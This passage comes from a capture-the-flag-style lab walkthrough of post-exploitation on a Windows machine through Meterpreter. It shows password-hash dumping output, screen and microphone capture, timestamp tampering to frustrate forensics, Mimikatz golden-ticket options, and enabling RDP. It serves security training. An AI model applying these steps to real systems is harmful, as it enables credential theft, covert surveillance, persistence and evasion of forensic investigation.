passwords from memory, even if the user '
Dark
' is not currently logged in,
thanks to a scheduled task that runs Icecast under the '
Dark
' user's account.
Additionally, the absence of Windows Defender on the system makes this process
easier.
Answer the questions below
What is Dark's password?
- The
password is
Password01!
Now that we've retrieved the necessary credentials, let's
move on to the next task.
Task 6: Post-Exploitation
Let's explore the post-exploitation actions we can take on a
Windows system. These actions can provide valuable information and access, but
they should be carried out with caution and only when authorized.
Before diving into specific actions, let's revisit the help
menu in the meterpreter shell. We'll use it to answer the following questions.
Answer the questions below
What command allows
us to dump all of the password hashes stored on the system?
The
hashdump
command allows us to
dump all the password hashes stored on the system.
meterpreter >
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Dark:1000:aad3b435b51404eeaad3b435b51404ee:7c4fe5eada682714a036e39378362bab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >
Note that while we can
obtain these
hashes, we won't attempt to crack the administrative password, as
it is intentionally strong to prevent password spraying attempts.
Answer the questions below
While more useful
when interacting with a machine being used, what command allows us to watch the
remote user's desktop in real-time?
- The
screenshare
the command allows us to view the remote user's desktop in real-time.
meterpreter >
screenshare
[*] Preparing player...
[*] Opening player at:
/home/kali/XprjEfJc.html
[*] Streaming...
This is
particularly useful when the machine is actively being used.
meterpreter >
golden_ticket_create
Usage: golden_ticket_create [options]
Create a golden kerberos ticket that expires in 10 years time.
OPTIONS:
-d FQDN of the target domain (required)
-e End in ... Duration in hours (ex: -e 10 for 10 hours), default 10 YEARS
-g Comma-separated list of group identifiers to include (eg: 501,502)
-h Help banner
-i ID of the user to associate the ticket with
-k krbtgt domain user NTLM hash
-s SID of the domain
-t Local path of the file to store the ticket in (required)
-u Name of the user to create the ticket for (required)
meterpreter >
meterpreter >
run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*]
RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /home/kali/.msf4/loot/20240724000233_default_10.10.162.253_host.windows.cle_109806.txt
meterpreter >
Answer the questions below
How about if we
wanted to record from a microphone attached to the system?
- The
record_mic
command can be used to record audio from the system's microphone.
To complicate
forensics efforts we can modify the timestamps of files on the system. What command
allows us to do this?
- The
timestomp
command can modify the timestamps of files.
Important
Note: This action should only be performed if explicitly
allowed, as it can complicate the forensic analysis of a pentest.
Mimikatz allows us to
create what's called a `golden ticket`, allowing us to authenticate anywhere
with ease. What command allows us to do this?
The
golden_ticket
command within Mimikatz allows the creation of a golden ticket. This attack
leverages the Kerberos ticket-granting ticket to maintain persistence and
authenticate as any user on the domain.
What are Golden Ticket Attacks?
Golden ticket attacks
exploit the Kerberos authentication system used in Windows domains. They allow an attacker to create a valid ticket that can be used to access any service in the domain, maintaining long-term access even after passwords are changed.
One last thing to note. with the password for the user
'
Dark,' we can authenticate to the machine via
Remote Desktop (MSRDP)
. While
this provides a unique perspective, be mindful that connecting via RDP may
disrupt the user currently signed in. If RDP hasn't been enabled, we can do so
using the Metasploit module:
run post/windows/manage/enable_rdp.
This command will
enable RDP access, allowing us to view the
machine as the user would.
Let's move on to the final task.
Task 7: Extra Credit
This task was already covered in Task 3, where we explored
manual exploitation using exploit code found on
Exploit-DB.
As you progress in
your pen testing journey, you'll inevitably encounter scenarios where you need
to exploit vulnerabilities without using Metasploit.
We provided a link to an
Exploit-DB entry that details an Icecast vulnerability allowing for remote code
execution. While it's not a requirement for this task, it's highly recommended
to try exploiting the vulnerability using the provided code or a similar
exploit. This will help you develop and refine your manual exploitation skills.
If you have any questions or concerns related to this video,
please feel free to leave them in the comment section below. We're here to
help!